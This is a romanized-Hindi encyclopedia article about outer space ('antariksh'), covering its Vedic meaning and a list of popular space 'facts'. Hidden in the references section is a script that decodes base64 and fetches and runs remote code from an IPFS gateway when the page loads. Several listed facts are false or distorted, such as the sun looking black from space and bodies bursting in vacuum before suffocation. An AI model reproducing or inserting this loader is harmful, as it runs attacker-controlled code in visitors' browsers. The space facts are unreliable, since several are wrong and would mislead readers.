अंतरिक्ष
thumb|250px|aantariksh aantariksh (aangrezi: Outer space) kisi brahmandiy pind, jaise prithvi se door jo shoony (void) hota hai, ko kahate haian. yah poornatah shoony to nahian hota, lekin atyadhik nirvat vala kshetr hota hai, jisamean kanoan ka ghanatv atialp hota hai.
- sanskrit aur vaidik sahity mean aantariksh shabd ka prayog kee bar hua hai, jahaan se hindi ka shabd aur arth liya gaya hai.
- haanlaanki vaidik sahity mean aantariksh ka arth prithvi aur dyulok, yani tare aur sooraj, prakashaman, dyut padarthoan ka lok, ke madhy ki chizoan ko aantariksh kahate haian.
- aantariksh shabd ka prayog vedoan mean dyava aur prithavi ke sath dekhane ko milata hai. is paribhasha ke anusar aantariksh mean dharati ke vayumandal ko bhi shamil kar sakate haian. lekin hindi arth mean prayah vayumandal ko shamil nahian kiya jata.
aantariksh ke bare mean
- ek aantariksh soot ko banane mean 12 miliyan daॅlar kharch hote haian.
- ap aantariksh mean kabhi ro nahian sakate, kyoanki aansoo niche hi nahian gireange.
- aantariksh mean yadi dhatu ke do tuk de ek doosare ko sparsh kar lean to ve sthayi roop se ju d jate haian.
- kisi aantariksh vahan ko vayumandal se bahar nikalane ke lie kam se kam 7 mil prati sekand ki gati ki avashkata hoti hai.
- aantariksh yatriyoan ki manean to aantariksh mean vaildiang ke dhuean aur garm dhatu jaisi badaboo ati hai.
- aantariksh mean kam gurutvakarshan ke karan iansan ke ridh ki haddi prithvi par hone vale khianchav se mukt ho jati hai. aise mean jab koee aantariksh yatri apani ridh ki haddi ko sidha karata hai to usaki lanbaee 2.25 ianch tak badh jati hai.[1]
- aantariksh mean gurutvakarshan ke n hone se kamazori ati hai aur yah aantariksh mean jane vale har vyakti ke sath hota hai. is kamazori se bahar ane mean ek yatri ko lagabhag 2-3 din ka samay lag sakata hai.
- 1962 mean amerika ne aantariksh mean haidrojan bam visphot kiya tha. yah japan ke hiroshima par girae ge bam se 100 guna shaktishali tha.
- aantariksh yan mean niand lena kafi chunauti bhara hota hai. aantariksh yatri ko sone ke lie kafi mehanat karani hoti hai. unhean aankhoan par patti baandh kar ek bank mean sona hota hai taki vah tairane aur idhar-udhar takarane se bach sakean.
- gurutvakarshan n hone ke karan aantariksh yatri bhojan par namak ya mirch nahian chhi dak sakate. ve bhojan bhi dravy ke roop mean lete haian, aisa isalie hai kyoanki sookhe bhojan hava mean tairane lageange aur idhar-udhar takarane ke sath hi aantariksh yatri ki aankh mean bhi ghus jaega.
- prithvi se asaman nila dikhaee deta hai, lekin aantariksh yatriyoan ko yah kala dikhaee deta haian.
- aantariksh mean yadi ap kisi ke samane kh de rahakar bhi tej chillaeange to bhi vah apaki avaz nahian sun payega, kyoanki vahaan par apaki avaz ko ek sthan se dusare sthan tak pahuanchane ka koee madhyam nahian haian.
- agar ap aantariksh mean jate haian to ap gala ghutane ki bajae sharir ke phatane se pahale mar jaeange, kyoanki vahaan par hava ka dabab nahi hai.
- aantariksh se dekhane par soory kala dikhaee deta hai.[2]
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tika tippani aur sandarbh
- ↑ aantariksh ke bare mean 20 rochak tathy (hindi) hindigyanbook.com. abhigaman tithi: 14 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |